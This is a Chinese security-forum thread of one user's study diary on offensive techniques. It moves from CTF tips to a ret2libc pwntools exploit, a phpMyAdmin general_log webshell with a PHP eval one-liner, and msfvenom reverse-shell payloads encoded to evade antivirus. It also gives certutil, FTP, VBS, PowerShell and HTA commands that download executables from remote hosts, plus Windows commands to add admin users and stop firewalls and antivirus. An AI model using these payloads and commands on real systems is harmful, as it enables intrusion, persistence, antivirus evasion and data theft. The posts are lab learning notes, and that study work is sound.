安全矩阵

 找回密码
 立即注册
搜索
楼主: caiH

温鸿的学习日记

[复制链接]

22

主题

63

帖子

338

积分

中级会员

Rank: 3Rank: 3

积分
338
 楼主| 发表于 2020-4-3 13:14:33 | 显示全部楼层
最近在搜集杂项的题目,下面是对杂项解题的几种类型的解题方法

一、文件隐写
1、 file命令
当文件没有后缀或者有后缀无法正常打开,根据识别出的文件类型,来修改后缀即可
2、 winhex
3、 文件头缺失
一种是文件头残缺,另一种是文件头部字段错误。文件头部残缺可使用winhex添加相应文件头,针对头部字段错误,可找一个相同类型的文件进行替换。

其中对文件进行分离与合并有如下操作:

(1)文件分离(目前没有用到过这种方法还没有掌握)

(2)文件合并:
1、 Linux下的文件合并
Linux下对文件名相似的文件进行批量合并
格式:cat 合并文件>输出的文件



二、图片隐写
这里可操作性很强,每种方法都要试一遍,还不一定能够把flag找出来
(以下方法为百度的方法)
1、 细微颜色差别
2、 GIF图多帧隐藏
3、 exif信息隐藏
4、 图片修复(未掌握)
5、 最低有效位LSB隐写(未掌握)
6、 图片加密(未掌握)

两张jpg图片外观、大小、像素基本相同,可考虑结合分析,即将两个文件像素RGB值进行XOR、ADD、SUB等操作。
打开第一张图片,依次点击analyse image combiner
两张图片打开的先后顺序不一样,结果也会不一样


三、压缩文件
1、伪加密
文件头正常,但解压错误,使用winhex,找到文件头第九第十个字符,将其修改为0000。
搜索16进制504B0102,可找到每个加密文件的文件头字段
RAR文件由于有头部校验,使用伪加密时打开文件会出现报错,使用winhex修改标志位后如报错消失且正常解压缩,说明是伪加密。
使用winhex打开RAR文件,找到第24个字节,该字节尾数为4表示加密,0表示无加密,将尾数改为0即可破解伪加密。
2、 暴力破解
使用ARCHPR
攻击类型选择掩码可以进行复杂的暴力破解,比如知道密码前3位是abc,后3位为数字,则在攻击类型选择掩码,在掩码处输入acb???,暴
力范围选项选择所有数字,打开要破解的点击,点击破解。此时? ? ?的部分会被我们选择的暴力破解范围中的字符代替。


有时给出的RAR文件头部各个字块会故意给错导致无法识别。
四、流量取证(此大类未掌握,还在学习)


回复

使用道具 举报

22

主题

63

帖子

338

积分

中级会员

Rank: 3Rank: 3

积分
338
 楼主| 发表于 2020-4-6 01:48:47 | 显示全部楼层
ret2libc过地址随机化


实验1.c文件如下:


#include <stdio.h>
char buf2[20]="this is buf2";
void vul()
{
char buf1[10];
gets(buf1);}
void main()
{
write(1,"sinxx",5);
vul();}

我们将其进行编译


gcc -m32 -fno-stack-protector -no-pie  -o 1.exe 1.c

这里我们值得注意的是,我们这次编译设置1.exe的并非静态连接,所以我们并不能直接在1.exe中找到system和’/bin/sh’这两个地址。
所以就不能直接像之前的ret2libc技术一样,直接在1.exe文件中system和/bin/sh的地址。


那么,我们的新思路如下:
1、先找出溢出点的位置,然后找到gets函数的真实地址
2、再计算出system和/bin/sh这两个参数与gets函数真实地址之间的差值,这样就可以找出system与/bin/sh的地址
3、构造payload进行溢出


首先找出溢出点的位置:





溢出点的位置为22


下面我们就可以写python代码了


from pwn import *
context(arch="i386",os="linux")
p=process("1.exe")//加载1.exe进程
e=ELF("1.exe")//加载1.exe文件,分析ELF结构
addr_write=e.plt["write"]
addr_gets=e.got["gets"]//gets函数最后的真实地址在got表中
addr_vul=e.symbols["vul"]//由于vul函数是自定义函数,所以在符号表中找到vul的地址
print pidof(p)//便于进行调试
offset=22
pause()//复制,发大量的payload,看返回结果,根据返回结果看是否存在漏洞
payload1=offset*'a'+p32(addr_write)+p32(addr_vul)+p32(1)+p32(addr_gets)+p32(4)//为了获取gets的真实地址,调用了write这个函数,然后将got表中gets的真实地址打印出来其中'1'和'4'是write的两个参数
p.sendlineafter("sinxx",payload1)//sinxx输完之后再输入payloads
gets_real_addr=u32(p.recv(4))//将地址转换成32位
libc=ELF("/lib/i386-linux-gnu/libc.so.6")//加载1.exe依赖的库
rva_libc=gets_real_addr-libc.symbols["gets"]//计算相对偏移
addr_system=rva_libc+libc.symbols["system"]//system的真实地址
addr_binsh=rval_libc+libc.search("/bin/sh").next()//  '/bin/sh'的真实地址
payload2=offset*'a'+p32(addr_system)+p32(0)+p32(addr_binsh)
p.sendline(payload2)
p.interactive()

1、这里我们要理解如何获取gets的真实位置的。


首先我们要明白的是gets函数最后的真实地址在got表中,我们发送大量的payload,只要这个函数调用过一次,那么gets的
真实地址就会跳转到got表中。之后我们调用write这个函数将gets这个函数的真实地址打印出来,'1’和’4’是这write的两个参数。


2、发送过一次payload之后如何发送第二次payload


我们可以看payload1的构成结构,payload1=offset*‘a’+p32(addr_write)+p32(addr_vul)+p32(1)+p32(addr_gets)+p32(4),我们
在call一个函数的时候会先将这个函数的地址压入堆栈,然后将执行完函数要跳转到的地址压入堆栈,再将函数的参数压入堆栈,我们
将vul的地址当成函数执行完之后的跳转地址,那么接下来只要构造payload2就可以了


3、如何计算system、/bin/sh与gets函数的相对偏移


先加载1.exe依赖的库,ldd 1.exe看程序依赖什么库

,然后rva_libc=gets_real_addr-libc.symbols["gets"] gets函数的真实地址减去在libc中的地址


值的注意的是,’/bin/sh’是字符串,所以我们不能用symbols来看它的地址,需要使用search


payload2payload2=offset*'a'+p32(addr_system)+p32(0)+p32(addr_binsh)我们需要压入 执行完函数之后要跳转的地址,由于我们
进行交互之后不需要考虑是否平衡堆栈,所以这个地址我们写0


最后我们执行这个python文件,成功获得系统权限



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

22

主题

63

帖子

338

积分

中级会员

Rank: 3Rank: 3

积分
338
 楼主| 发表于 2020-4-15 16:32:45 | 显示全部楼层
经过将近两个礼拜的测试,总结了几处容易发现漏洞的地方


1、登录页面无验证码,可进行爆破
2、登录页面可进行sql注入
3、找回密码处,接收短信验证码四位数以内可进行爆破
4、登录后会显示ip地址,X-Forwarded-For未过滤可进行xss攻击
5、搜索框会显示搜索内容,可进行xss攻击
6、扫描目录,一些页面未设置session验证,可直接访问
7、验证码过于简单,可用Pkav HTTP Fuzzer进行识别,进行爆破
8、交互比较多的页面存在越权漏洞
9、看开放端口,如开放21/3389等端口可直接进行爆破10、get传参存在sql注入漏洞


其他漏洞就比较难找了,唉。


回复

使用道具 举报

22

主题

63

帖子

338

积分

中级会员

Rank: 3Rank: 3

积分
338
 楼主| 发表于 2020-4-19 21:41:11 | 显示全部楼层


一、任意文件下载漏洞


任意文件下载漏洞:
如果对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意敏感文件,这就是任意文件下载漏洞。

漏洞危害
如果存在这个漏洞,我们可以通过更改下载文件的路径,来下载一些重要的文件,如有密码的配置文件。
但前提是,我们能猜对这些敏感文件的路径和文件名。我们可以使用字典,在bp上跑,看能不能跑出敏感文件


漏洞利用:

我们抓包的时候,下载文件一般会出现在这样的参数名:
  &RealPath=    &FilePath=    &filepath=    &Filepath=那这样,我们就可以使用bp,更改参数名的路径,看能不能下载有用的文件,推荐使用Fuzzing这个字典。
1、当遇到一个任意文件下载时,我们的一般利用思路:
下载常规的配置文件,例如: ssh,weblogic,ftp,mysql等相关配置
下载各种.log文件,从中寻找一些后台地址,文件上传点之类的地方,如果运气好的话会获得一些前辈们的后门。
下载web业务文件进行白盒审计,利用漏洞进一步攻入服务器。

2、当我们遇到一个任意文件下载漏洞时首先要注意下载的权限问题。因为权限决定我们能下载的文件范围。
尝试读取/root/.bash_history看自己是否具有root权限。如果没有的话。我们只能按部就班的利用../来回跳转读取一些.ssh下的
配置信息文件,读取mysql下的.bash_history文件。来查看是否记录了一些可以利用的相关信息。然后逐个下载我们需要审计的代码
文件,但是下载的时候变得很繁琐,我们只能尝试去猜解目录,然后下载一些中间件的记录日志进行分析。

如果我们遇到的是java+oracle/ jsp+oracle环境,可以先下载/WEB-INF/classes/applicationContext.xml 文件,这里面记载的是web服
务器的相应配置,然后下载/WEB-INF/classes/xxx/xxx/ccc.class对文件进行反编译,然后搜索文件中的upload关键字看是否存在一些api接
口,如果存在的话我们可以本地构造上传页面用api接口将我们的文件传输进服务器。

如果具有root权限
这时候很多人肯定会说  具有root权限直接去读shadow文件了  但是很多时候我们遇到的服务器可能只对外开放了 80,443两个端口这时
候我们即使获得了密码作用也不打,但是具备root权限对任意文件下载利用是绝对的。

在linux中有这样一个命令 locate 是用来查找文件或目录的,它不搜索具体目录,而是搜索一个数据库/var/lib/mlocate/mlocate.db。这个
数据库中含有本地所有文件信息。Linux系统自动创建这个数据库,并且每天自动更新一次。当我们不知道路径是什么的情况下,这个可以说是
一个核武器了,我们利用任意文件下载漏洞将mlocate.db文件下载下来,利用locate命令将数据输出成文件,这里面包含了全部的文件路径信息。
locate 读取方法
locate mlocate.db admin
可以将mlocate.db中包含admin内容全部输出来

利用这个文件我们可以获取到该服务器任何我们想要的内容并下载出来而不用一个一个去猜解目录,但是这个文件只有root用户才能读取。
另一方面我们也可以利用linux内核的一个文件/proc/self/cmdline当前进程的cmdline参数,可以获取到路径信息。

修复方案:
过滤.(点),使用户在url中不能回溯上级目录
正则严格判断用户输入参数的格式
php.ini配置open_basedir限定文件访问范围

回复

使用道具 举报

22

主题

63

帖子

338

积分

中级会员

Rank: 3Rank: 3

积分
338
 楼主| 发表于 2020-4-20 20:48:49 | 显示全部楼层
本帖最后由 caiH 于 2020-4-20 21:17 编辑

一、伪静态注入

之前没有碰到过这样的注入,今天看人家的博客才发现原来这里也可以进行注入,果然自己学得还是少。
例如:一个网站:http://www.xxxx.com/product/detail/id/4.html这里看上去是一个静态页面,但是这可能是个伪静态页面,存在注入
如果我们能访问http://www.xxxx.com/product/detail/id/5-1.html这个页面,且页面的内容就是4.html的内容,那么这就是一个伪静态
页面,极容易存在sql注入漏洞。我们可以用sqlmap跑一下:sqlmap -u www.xxxx.com/product/detail/id/3*.html --dbms=mysql -v 3
参数说明:--dbsm指定数据库
      -v 3    可以看到payload,不用使用代理抓包看sql注入语句了
判断是否存在漏洞,注:因为+号会被url编码,所以我们通常使用减号来进行判断

二、乌云上一次对大学网站的渗透
1、弱密钥登录学生与教师账号、
2、发现许多xss漏洞(1、教学博客的反射型xss 自己给自己弹,鸡肋
                                 2、所有人都可看见的博客文章评论处存储型xss
                                3、日程安排、添加事务也全是xss
                                  4、发送邮件存在xss,邮件正文插入script代码后编辑器会自动转义成>但是我们可以通过抓包改回来
                                   5、修改个人信息多处存在xss)
3、教学邮件存在越权访问,可看师生任意邮件,这里只检查了用户是否登陆,而没有校验访问时的session是否是发/收件人的。可以通过这个
越权看期末考试题目。
4、过改forumid可以设置任意用户/组的权限(第一次见)
http://**.**.**.**/eol/common/forum/admin/permmanage.jsp?forumid=5960通过更改这个参数可以更改用户的权限。
5、在未登录情况下访问
http://**.**.**.**/eol/common/forum/forum/friends.jsp
会显示管理员的所有好友并可以修改管理员好友的说明。
6、SQL注入漏洞)
首先是一些搜索框可以POST注入。首页的搜索框随便输个单引号、数据库语句去就会出错。


7、在“毕业生登录”窗口任意输入用户名和密码,服务器返回错误提示,在错误提示中泄露了关键的敏感信息

在前端返回来重要信息,神奇。然后就可以登录,进行进一步测试。

看了这次测试发现运气和经验都很重要,比如弱密钥登录,感觉现在都很少能碰到这个。




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

22

主题

63

帖子

338

积分

中级会员

Rank: 3Rank: 3

积分
338
 楼主| 发表于 2020-4-23 22:34:01 | 显示全部楼层
今天还是看乌云的一些收获
1、社工库的重要性
(1)在一些社交平台发现一个账户,是某个平台的工作人员
(2)通过这个账户作为关键字在社工库上搜索,发现一些用户名和密码
(3)用这些用户名密码去登录这个平台,发现登录成功
(4)用这些用户名和密码去登录谷歌浏览器,发现有访问这个平台后门的记录
(5)在这个后台登录页面发现一个漏洞,成功登进去


2、APP端一些常见的漏洞
(1)登录时的逻辑漏洞,用正常的号去登录,拦包,登录成功之后更改用户的id或者用户名变成另一个人的登录主页(此漏洞最常见)
(2)水平越权,刷新一下更改id可以看到别人的信息。
(3)sql注入漏洞,这些都是16年以前的漏洞,现在这个漏洞应该比较少见
(4)xss漏洞,这个在app端比较常见,但是xss一般都在后台才会显示出来,所以我们不能知道是否存在有xss漏洞。所以我们xss
的内容一般是获取其cookie,然后我们监视是否上线,如果上线则存在xss漏洞。此漏洞一般存在于用户反馈、评论这两个地方,一般
只有管理员才看到你提交的评论等。而且获取了管理员的cookie之后,我们并不知道管理员登录页面在哪,这也是一个问题。
(5)短信验证码如果是4位数容易进行爆破


3、有些存放图片的文件没有进行seesion验证,可以进行访问,里面可能存在与个人信息有关的图片


4、可访问发验证码的链接,向其post电话号码能返回验证码







本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

22

主题

63

帖子

338

积分

中级会员

Rank: 3Rank: 3

积分
338
 楼主| 发表于 2020-4-28 23:32:38 | 显示全部楼层
本帖最后由 caiH 于 2020-4-30 17:11 编辑

我与火绒的爱恨情仇——通过phpMyAdmin得到shell后的载荷免杀
  前言:本次实验演示了如何从phpMyAdmin获取shell,进而上传一个可以绕过火绒免杀的载荷从而留后门。

  0x01实验环境
win8虚拟机   Apache+MySQL环境,并且安装了最新版本的火绒

  0x02实验过程
  1、获取shell
  首先访问搭建好环境的虚拟机,尝试是否能访问phpmyadmin这个目录
发现能访问这个目录,尝试用弱密钥进行登录,几次尝试后,‘’root、1234“可进行登录。先查看是否开启了general log
show variables like 'general_log';

General处于未开启状态,执行SQL语句将其开启
SET GLOBAL general_log = ON

把general_log_file设置为shell的绝对路径
Set GLOBAL general_log_file=”E://xampp/htdocs/pass.php”

将一句话木马写入
SELECT '<?php @eval($_POST["pass"]);?>';

尝试用蚁剑进行连接


成功获取shell
2、上传免杀载荷——我与火绒的爱恨情仇
获取shell之后可以尝试上传一个免杀载荷,留个后门。这便到了我和火绒对决的时候了。

(1)Game one    txt载荷执行技术
首先生成1.txt
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.119.133 LPORT=5555 -f msi -o 1.txt

然后等待目标机器上线

将1.txt通过蚁剑上传至虚拟机,在终端通过msiexec将其编译
Msiexec /q/i 1.txt


发现编译出来的MSI4475.tmp被无情的删除了。看来首次尝试以失败告终啊!

(2)Game two    载荷编码

如果只是msf简单的生成载荷的话肯定不能过火绒,那么尝试将载荷进行编码。
先使用x86/shikata_ga_nai编码器,生成载荷payload.exe
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.133 LPORT=3333 -e x86/shikata_ga_nai -f exe -o /root/payload.exe

将其上传到虚拟上面

点击payload.exe,发现火绒立刻将载荷处理。又失败了。
一次编码不可以,为何不使用多重编码呢?于是
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.10.128 lport=31337 -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f raw | msfvenom -e x86/shikata_ga_nai -a x86 --platform windows -i 10 -f raw | msfvenom -e x86/countdown -a x86 --platform windows -i 10 -f exe -o /root/payload3.exe
使用多重编码生成载荷payload3.exe

通过蚁剑将其上传至虚拟机

发现又上传失败,看来通过载荷编码这种方式并不能过火绒。只得寻找下一种方法。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

22

主题

63

帖子

338

积分

中级会员

Rank: 3Rank: 3

积分
338
 楼主| 发表于 2020-4-30 17:15:46 | 显示全部楼层
载荷上传下载落地技术
前言:如果获得一台主机的webshell或者能够任意命令执行,但是想要拿下主机进行提权、权限维持或者要进行内网渗透,这时就需要将载荷上传下载到主机上。下面我将介绍几种载荷上传下载的落地技术,这几种技术都巧妙的利用系统自带的工具,因此降低了防火墙和杀毒软件处理的概率。
0x01方法一:利用certutil下载
什么是certutil.exe呢?
Certutil.exe是一个命令行程序,作为证书服务的一部分安装。和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链,能从远程URL下载证书或者其他文件。其使用语法如下:
certutil.exe -urlcache -split -f url
所以,当我们发现一个任意命令执行漏洞的时候,我们可以使用这种方法来下载载荷。例如:我们事先在公网上面上传一个cobaltStrike的载荷,然后利用certuil.exe将其下载
成功将443.exe这个cs载荷上传到目标机上。
Certutil.exe还可将exe文件加密并保存到txt文件中,也可将加密之后的txt解密成原来的exe文件。使用语法如下:
加密   certutil -encode 443.exe 443.txt
解密   certutil -decode 443.txt 443.exe
那么又有了另外一种上传载荷的思路:如果有任意命令执行的漏洞,且有允许上传txt文件的地方,我们可以将加密之后的txt文件上传上去,然后通过任意命令执行漏洞将txt文件解密成exe文件,这样就成功将载荷上传至目标机。

0x02方法二:利用ftp命令下载
顾名思义,可以在终端利用ftp传输,访问我们一个开通ftp协议的公网主机,然后下载这个公网主机上面的载荷。但是值得注意的是,由于ftp存在交互过程,得到webshell与任意命令执行利用这种技术的方法并不一样。
如果是获取了webshell,那么我们会简单很多
1、 建立连接ftp xxx.xxx.xxx.xxx
2、 输入用户名
3、 输入密码
4、 下载载荷 get xxx.exe
5、 关闭ftp连接 quit
如果是任意命令执行,为了避免交互,我们可以将ftp开启为匿名访问,利用任意命令执行漏洞用echo命令写一个批脚本,最后在ftp连接下执行这个脚本
echo open xxx.xxx.xxx.xxx>> ftp.txt
echo ftp>> ftp.txt
echo bin >> ftp.txt
echo ftp>> ftp.txt
echo GET 8080.exe >> ftp.txt
ftp -s:ftp.txt
0x03方法三  vbs下载
由于vbs不需要特定的编译环境,在主机可以直接执行。所以我们编写一个可以下载载荷的vbs程序,将这个vbs程序上传到目标机,然后执行vbs程序即可下载载荷。
我们编写download.vbs程序如下,这个程序的作用就是将公网上的443.exe载荷下载到目标机上:
Set Post = CreateObject("Msxml2.XMLHTTP")Set Shell = CreateObject("Wscript.Shell")Post.Open "GET","http://www.xxx.xxxx.xxx/xxxx/443.exe",0Post.Send()Set aGet = CreateObject("ADODB.Stream")aGet.Mode = 3aGet.Type = 1aGet.Open()aGet.Write(Post.responseBody)aGet.SaveToFile "C:\demo.exe",2
如果我们可以直接上传vbs程序那是再好不过,只需在终端执行这个程序。但是这种情况很少见,这时我们可以通过终端将这些代码一行一行写入download.vbs中。具体如下:
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbsecho Set Shell = CreateObject("Wscript.Shell") >>download.vbsecho Post.Open "GET","http://www.xxx.xxx.xxx/xxx/443.exe",0 >>download.vbsecho Post.Send() >>download.vbsecho Set aGet = CreateObject("ADODB.Stream") >>download.vbsecho aGet.Mode = 3 >>download.vbsecho aGet.Type = 1 >>download.vbsecho aGet.Open() >>download.vbsecho aGet.Write(Post.responseBody) >>download.vbsecho aGet.SaveToFile "C:\demo2.exe",2 >>download.vbs最后在执行download.vbs这个文件cscript download.vbs
这样就将载荷成功下载到目标机上。
0x04方法四  powershell下载
如果可以执行powershell,那就省事多了,直接执行下载命令。
powershell (new-object System.Net.WebClient).DownloadFile(http:/xx/443.exe,’c:\demo.exe’)
0x05方法五  hta下载
该方法与vbs下载原理相同,都是因为执行hta程序并不需要特定的代码,所以可以利用hta程序下载载荷。执行的方法也相同,如果能直接上传hta程序那再好不过,如果不可以那么也是echo一句话一句话写入。这里不做过的解释,给出download4.hta程序的代码。
<html><head><script>var Object = new ActiveXObject("MSXML2.XMLHTTP");Object.open("GET","http://www.xxx/xxx/443.exe",false);Object.send();if (Object.Status == 200){    var Stream = new ActiveXObject("ADODB.Stream");    Stream.Open();    Stream.Type = 1;    Stream.Write(Object.ResponseBody);    Stream.SaveToFile("C:\\443demo.exe", 2);    Stream.Close();}window.close();</script><HTA:APPLICATION ID="test"WINDOWSTATE = "minimize"></head><body></body>  </html>执行这个程序,结果如下:

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

22

主题

63

帖子

338

积分

中级会员

Rank: 3Rank: 3

积分
338
 楼主| 发表于 2020-5-6 20:48:15 | 显示全部楼层
本帖最后由 caiH 于 2020-5-6 20:54 编辑

前言:白帽子们一般都是从web端开始学习安全技术,但是我们并不满足于web端,自然而然地对APP端产生了浓厚的兴趣,本文将讲述如何在移动端进行渗透,并分享自己在对移动端渗透过程中常见的漏洞与一些案例的分析。

0x01环境搭建
首先下载一个模拟器来模拟手机的环境,本文使用的是夜神模拟器。
1、在burpsuite中新建一个代理,注意端口不要冲突
2、在模拟器中打开设置界面中的WLAN菜单,长按弹出,点击修改网络
3、点击手动,然后配置电脑的ip,和代理端口,保存退出。
4、打开浏览器,访问你输入的代理ip+端口,下载证书。
5、将下载好证书的后缀名der改为cer,这样才能安装
6.针对夜神模拟器,在设置中找到安全,选择从SD卡安装,然后在如图位置找到证书
这样我们就可以对APP进行拦包了

0x02常见漏洞与实例分析

1、逻辑漏洞
这类漏洞包括水平越权、任意密码重置、任意用户登录、薅羊毛、验证码回传等漏洞。
对于这类漏洞,具体问题还得具体分析。比如水平越权,我们要仔细观察数据在交互的
时候,更改某些参数如用户名等,返回的数据是否会发生改变。再比如验证码回传,我
们在接收短信验证码的时候,观察前端源代码看短信验证码是否存在与源码当中,或者
是否存在验证码生成函数。这类漏洞往往会造成任意大量信息泄露、可登录任意用户账
号执行危险操作等等危害
下面看一个实例分析,某购物APP存在水平越权漏洞。
(1)现在该购物APP下一个订单,点订单管理查看订单
(2)用burp对HTTP消息进行拦截:
(3)根据订单号BV20150122101114可推出BV20150122代表的是日期,101114代表是1114号单。
我们在burp中修改订单号为:1月17日的899单(BV20150117100899)
]
]
](4)查看返回信息可以发现,可以看到订单号为BV20150117100899的信息
]

]2、短信验证码可进行爆破
顾名思义,在发送短信验证码的时候,如果发出的验证码太短比如只有四位数,设置验证
]时间较长,且输入验证码次数不限,那么我们就可以使用burp进行爆破验证码。
下面看实例分析,某APP短信验证码可进行爆破
(1)打开APP,重置密码,发送短信验证码
]
](2)我们发现是四位数的验证码,有限期为10分钟,尝试进行爆破
]
](3)发现成功爆破短信验证码,尝试登录,登录成功
]

]3、xss漏洞
)]此漏洞原理与利用方法与web端相似,不做过多解释。这类漏洞常见于留言、邮件、评论等地方,由于对传入的内容没有进行过滤,导致此漏洞的产生。
下面看实例分析,某订餐APP后台留言处存在xss漏洞
](1)在意见反馈处填写<script>alert(document.cookie)</script>
)]
](2)发现成功打到cookies,获取了管理员的cookie
)]

)]4、sql注入漏洞
]此漏洞原理与利用方法与web端相似,不做过多解释。sql注入漏洞在APP端中总在我们想不到的地
[方,我们可以对burp抓取的包中的url进行尝试。
[下面看一个实例分析,某APP存在sql注入漏洞
(1)对某APP进行抓包,发现疑似存在sql注入的url

http://xxx.xxx.xxx:8080/live/ser ... ame=eshimin34188390
(2)在sqlmap中跑一跑,发现uername中存在注入点
]


]0x03总结
]各位客官看了上面的几个常见漏洞会发现似乎和web端常见漏洞相似,甚至少了csrf等漏洞。事实也大
]抵如此。不过,由于现在APP开发随处可见,但是懂安全的程序员屈指可数,所以我们不难发现,
[在APP端上出现漏洞的概率大于web端,尤其是某些小众的APP,出现上述漏洞的现象数不胜数,而且
APP端出现逻辑漏洞的概率远远大于web端。上面内容是本菜鸡的愚见,如有错误欢迎各位大佬指出,谢谢。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

22

主题

63

帖子

338

积分

中级会员

Rank: 3Rank: 3

积分
338
 楼主| 发表于 2020-5-7 15:12:58 | 显示全部楼层
web提权注意的一些事项

1. 能不能执行cmd就看这个命令:

      net user,net不行就用net1,再不行就上传一个net到可写可读目录,执行/c c:\windows\temp\cookies\net1.exe user

2. 当提权成功,3389没开的情况下,上传开3389的vps没成功时,试试上传rootkit.asp 用刚提权的用户登录进去就是system权限,再试试一般就可以了。

3. cmd拒绝访问的话就自己上传一个cmd.exe 自己上传的后缀是不限制后缀的,cmd.exe/cmd.com/cmd.txt 都可以。

4. cmd命令:systeminfo,看看有没有KB952004、KB956572、KB970483这三个补丁,如果没有,第一个是pr提权,第二个是巴西烤肉提权,第三个是iis6.0提权。

5、cmd执行exp没回显的解决方法:

      com路径那里输入exp路径C:\RECYCLER\pr.exe,命令那里清空(包括/c )输入"net user jianmei daxia /add"

6、增加用户并提升为管理员权限之后,如果连接不上3389,上传rootkit.asp脚本,访问会提示登录,用提权成功的账号密码登录进去就可以拥有管理员权限了。

7、有时增加不上用户,有可能是密码过于简单或是过于复杂,还有就是杀软的拦截,命令 tasklist 查看进程

8、当不支持aspx,或是支持但跨不了目录的时候,可以上传一个读iis的vps,执行命令列出所有网站目录,找到主站的目录就可以跨过去了。

上传cscript.exe到可执行目录,接着上传iispwd.vbs到网站根目录,cmd命令/c "c:\windows\temp\cookies\cscript.exe" d:\web\iispwd.vbs


9、如何辨别服务器是不是内网? 192.168.x.x 172.16.x.x 10.x.x.x








dos命令大全
命令命令意思
ver查看版本
whoami查看权限
systeminfo查看配置
net user查看用户
tasklist查看进程
tasklist /svc查看正在运行的服务
query user查询管理用户名
ftp 127.0.0.1查看搭建环境
sc qc Mysql查看指定服务的路径
net user jianmei daxia.asd /add添加一个用户
net localgroup administrators jianmei /add提升到管理权限
net user jianmei daxia.asd /add & net localgroup administrators jianmei /add添加用户并提升权限
net user jianmei查看制定用户信息
net localgroup administrators查看所有管理权限的用户
net localgroup "Remote Desktop Users" jianmei /add加入远程桌面用户组
mstsc /admin /v:127.0.0.1突破最大连接数
net user jianmei /del删除用户
net user administrator daxia.asd删除管理员账户
net password daxia.asd更改系统登陆密码
net user guest /active:yes激活GUEST用户
net start telnet开启TELNET服务
net stop "McAfee McShield"关闭麦咖啡
net stop sharedaccess关闭防火墙
dir c:\windows\查看当前目录的所有文件
type c:\windows\1.asp查看制定文件的内容
.........


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-12-1 05:00 , Processed in 0.022894 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表